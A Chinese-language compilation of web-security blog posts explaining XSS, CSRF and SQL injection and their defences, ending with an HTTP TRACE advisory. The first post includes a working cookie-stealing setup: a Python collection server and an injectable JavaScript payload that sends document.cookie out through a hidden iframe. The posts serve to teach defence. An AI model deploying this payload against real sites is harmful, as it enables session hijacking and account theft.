前端安全方面有没有了解？xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
标题content=内容
那么，我只需要在论坛中发一帖，包含一链接：
我是脑残content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。
前端程序员必须知道的 Web 漏洞，快来看看
随着互联网的发展，早已经不是仅限于简单的网页或是社交，电商购物、银行转账、企业管理等等。上次看到一个新闻，后台程序员离职后，利用职位之便，每天还不断的给自己转账，转了好多次才被发现，想想这多可怕。或者会窃取重要的商业信息，所以 Web 安全也是非常值得注意的。
什么是 Web 安全？
黑客利用网络操作系统的漏洞和 Web 服务器的 SQL 注入漏洞等，得到 Web 服务器的控制权，轻则篡改、删除、添加数据，重则窃取重要的商业信息、转账等，更严重的就是在网页中植入恶意代码，使网站受到不可预期的侵害。
常见的攻击可分为三类：XSS、CSRF、SQL注入。
Cross Site Scripting 跨站脚本攻击，为了与 CSS 区分，所以简写为 XSS 。
恶意攻击给 Web 页面植入恶意的 Script 代码，当用户浏览该网页的时候，嵌入 Web 里面的 script 代码会被执行，从而达到攻击的效果。
讲直白点，就是恶意攻击者通过在输入框处添加恶意 script 代码，用户浏览网页的时候执行 script 代码，从而达到恶意攻击用户的目的。
1.1、XSS 的危害
1.2、XSS 的攻击类型
发出请求时，XSS代码会出现在 url 中，作为输入提交到服务器端，服务器再返回给浏览器，然后浏览器解析执行 XSS 代码，这一过程像一次反射，所以称之为反射型。
这种类型的攻击，通常是把 XSS 攻击代码放入请求地址的 数据传输部分，如：
提交的 XSS 代码会存储在服务器端，如数据库、内存、文件系统内，下次请求目标页面时不再提交 XSS 代码。
文档型的 XSS 攻击不会经过服务器，作为中间人的角色，在数据传输过程中劫持到网络数据包，然后修改里面的 html 文档。
1.3、XSS 的防御措施
措施1：编码。
对这些数据进行 html entity 编码。客户端和服务器端都需要进行转义编码。
转义后为：
放入上边的代码中，还是会自动解析为上边的代码，所以放到外边。
措施2：过滤。
移除用户上传的 DOM 属性，如上边的 onerror。
移除用户上传的 style、script、iframe 节点。
措施3：利用 CSP
浏览器中的内容安全策略，就是决策浏览器加载哪些资源。
Cross site request forgery 跨站点请求伪造。
攻击者诱导受害者进入第三方网站，向被攻击网站发送跨站请求，利用被攻击者在被攻击网站已经获取的注册凭证，绕过后台的用户验证达到冒充用户对攻击网站进行的某种操作。
CSRF 攻击特点：
2.1、CSRF 的危害
2.2、CSRF 的攻击类型
使用非常简单，只需要一个 http 请求。
比如页面中的一个图片添加链接，还有 iframe、script ，最容易完成 CSFR 攻击，且不易被用户发现，隐蔽性超强。
由于 get 接口是最常见的一种 CSRF 攻击类型，所以很多重要的接口不适用 get 方式，使用 post 一定程度上可以防止 CSRF 攻击。
这种类型的 SCRF 攻击，通常使用的是一个自动提交的表单。简单讲就是伪造一个自动提交的表单，一旦访问页面时，表单就会自动提交。
如：
比起前两个，这个类型的比较少见，链接类型的攻击必须要用户点击链接，才能触发。
通常在论坛中发布的图片嵌入恶意的链接，或以广告的形式诱导用户点击中招。所以我们在邮箱中看到乱七八糟的广告，尽量别点击，防止遇到三方攻击。
伪造一种新型的攻击方式，用户误以为是在网站正常登录，实际上是使用账户和密码登录到了黑客网站，这样黑客可以监听到用户的所有操作，甚至知道用户的账户信息。
2.3、CSRF 的防御措施
措施1：检查 http 头部的 referer 信息
referer 包含在请求头内，表示请求接口的页面来源。
服务端通过检查 referer 信息，发现来源于外域时，就可以拦截请求，通过阻止不明外域的访问，一定程度上可以减少攻击。
措施2：使用一次性令牌
使用一次性令牌做身份识别，黑客是无法通过跨域拿到一次性令牌的，所以服务端可以通过判断是否携带一次性令牌，就可以排除一部分的非法操作者。
措施3：使用验证图片
服务端生成一些文本和数字，在服务端保存这份信息，同时以图片的形式在客户端展现，让用户去合法填写信息，当 CSRF 攻击时，拿不到这个验证码的时候，无法向服务器提供这个信息，导致匹配失败，从而识别它是非法攻击者。
这个应用非常常见，之前登录的时候，需要填写图形验证码。
现在滑动图片验证也非常常见。
SQL 注入，一般发生在注册、评论、添加等，只有有用户输入的地方，就有可能发生 SQL 注入。SQL 注入是一种常见的 Web 安全漏洞，攻击者会利用这个漏洞，可以访问或修改数据，利用潜在的数据库漏洞进行攻击。
所谓SQL注入，就是通过把SQL命令插入到Web 表单 提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将(恶意的)SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到 SQL注入式攻击 .
3.1、SQL 注入危害
任意的账号都可以登录，可以进行任意的操作，粗暴点讲，就是随便来。
3.2、 SQL注入分类
当输入的参数为整数时，则有可能存在数字型漏洞。
当输入参数为字符串时，则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于：数字型不需要单引号闭合，而字符型一般需要使用单引号来闭合。
字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。
其实我觉得 SQL 注入只有两种类型：数字型与字符型。很多人可能会说还有如：Cookie 注入、POST 注入、延时注入等。
的确如此，但这些类型的注入归根结底也是数字型和字符型注入的不同展现形式或者注入的位置不同罢了。
以下是一些常见的注入叫法：
3.3、SQL注入的防范措施
凡是用户输入的地方，我们都应该防止黑客攻击，永远不要相信用户的输入。所以对应的防御措施分别有：
前后端分离之后，前端每天都会接触到很多接口。发送网络请求的时候，有些接口就会使用 get 方法。最常见的传参方式就是，直接在 url 地址后面加参数。
直接采用这种方式传输数据，如果数据被劫持或抓包工具偷走之后，就会直接被人盗取走，特别危险。若是采用接口加密，如下：
上边那个看不懂的一长串符号，正是经过加密的数据。
接口加密就是将接口请求调用中传递的参数进行加密，目的就是为了保证接口请求中传递参数和返回的结果的安全性，一般比较敏感数据，如身份证、电话号码、账号、密码等需要进行加密。
常见的加密方式：
加密方式较多，可以根据自己具体的需要和项目语言选择其中一种。
加密之后的数据更安全，那我们能不能将接口所有的数据都进行加密呢？加密是非常消耗资源的，如果有大批量的数据都进行加密时，返回数据需要的时间就更长，会直接影响用户体验。所以我们进行加密时，只需要对敏感的重要的信息进行加密。
好了我今天的文章就到此结束了，本篇文章没有介绍到的 web 安全，欢迎评论区交流！
HTTP TRACE method is active 漏洞
威胁类型: TRACE Method Enabled
可能导致: 启用TRACE方法存在如下风险：
1、恶意攻击者可以通过TRACE方法返回的信息了解到网站前端的某些信息，如果缓存服务器等，从而为进一步的攻击提供便利；
2、恶意攻击者可以通过TRACE方法进行XSS攻击，盗取会话cookie、获取账户、模拟其他用户身份，甚至可以修改网页呈现给其他用户的内容，从而给用户带来损失；
3、即使网站对关键页面启用了HttpOnly头标记，禁止脚本读取cookie信息时，通过使用Trace方法，恶意攻击者可以绕过这个限制，读取cookie信息。
描述: 目标WEB服务器启用了TRACE方法。
TRACE方法是HTTP（超文本传输）协议定义的一种协议调试方法，该方法使得服务器原样返回任何客户端请求的内容（可能会附加路由中间的代理服务器的信息），由于该方法原样返回客户端提交的任意数据，因此，可用来进行跨站脚本（XSS）攻击，这种攻击方式又称为跨站跟踪攻击（XST）。
建议: 如非必要，请禁用TRACE方法。
参考：
0条大神的评论